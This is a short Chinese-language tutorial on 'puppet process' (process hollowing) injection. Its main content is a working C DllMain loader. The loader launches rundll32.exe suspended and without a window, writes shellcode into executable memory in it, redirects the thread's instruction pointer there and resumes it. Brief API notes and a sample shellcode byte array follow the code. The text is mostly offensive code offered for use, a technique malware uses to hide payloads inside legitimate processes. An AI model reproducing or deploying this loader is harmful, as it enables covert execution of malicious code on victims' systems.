傀儡进程注入
代码部分
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
DWORD nFileSize = 266271; //shellcode 长度
LPVOID ScAddress = abcd; //shellcode 地址
PROCESS_INFORMATION ProcessInformation;//新进程的各个数据
STARTUPINFOA StartupInfo;
void* v24;
CONTEXT Context;//记录当前进程的上下文
SIZE_T DwWrite = 0;//记录shellcode实际传入数据长度
memset(&StartupInfo, 0, sizeof(StartupInfo));//初始化为0
StartupInfo.cb = sizeof(StartupInfo);//设置大小
BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | CREATE_NO_WINDOW, 0, 0, &StartupInfo, &ProcessInformation);//创建一个进程(这里写的是rundll32.exe)
if (result)
{
Context.ContextFlags = CONTEXT_CONTROL;//它的作用是将结构体Context的ContextFlags成员变量设置为CONTEXT_CONTROL。
GetThreadContext(ProcessInformation.hThread, &Context);//诉GetThreadContext函数只获取线程的控制状态。具体来说,这个函数会将线程的控制寄存器的值存储在结构体Context的成员量中,以便后续的操作使用。
v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, nFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//在当前进程中生成一块shellcode大小的内存
WriteProcessMemory(ProcessInformation.hProcess, v24, ScAddress, nFileSize, &DwWrite);//将shellcode写入到指定进程中
Context.Rip = (DWORD64)v24;//将接下来运行得地址设置为shellcode的地址
SetThreadContext(ProcessInformation.hThread, &Context);//设置新线程的上下文
ResumeThread(ProcessInformation.hThread);//运行shellcode
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
}
TerminateProcess(GetCurrentProcess(), 0);
return TRUE;
}
结构体解析
- PROCESS_INFORMATION:包含有关新创建的进程及其主线程的信息。
- STARTUPINFOA:指定了新进程的窗口站、桌面、标准句柄和主窗口外观。
- CONTEXT:包含特定于处理器的寄存器数据。系统使用CONTEXT结构执行各种内部操作。
函数解析
- CreateProcessA:创建新进程及其主线程。
- GetThreadContext:检索指定线程的上下文。
- SetThreadContext:设置指定线程的上下文。
- ResumeThread:递减线程的挂起计数,使线程执行恢复。
- TerminateProcess:终止指定进程及其所有线程。
注意事项
- 注意开发环境:任何开发环境均可。
- Shellcode格式:确保Shellcode按照正确格式提供,例如:
unsigned char shellcode[] =
“\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b”
“\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0”;
© 版权声明
THE END
暂无评论内容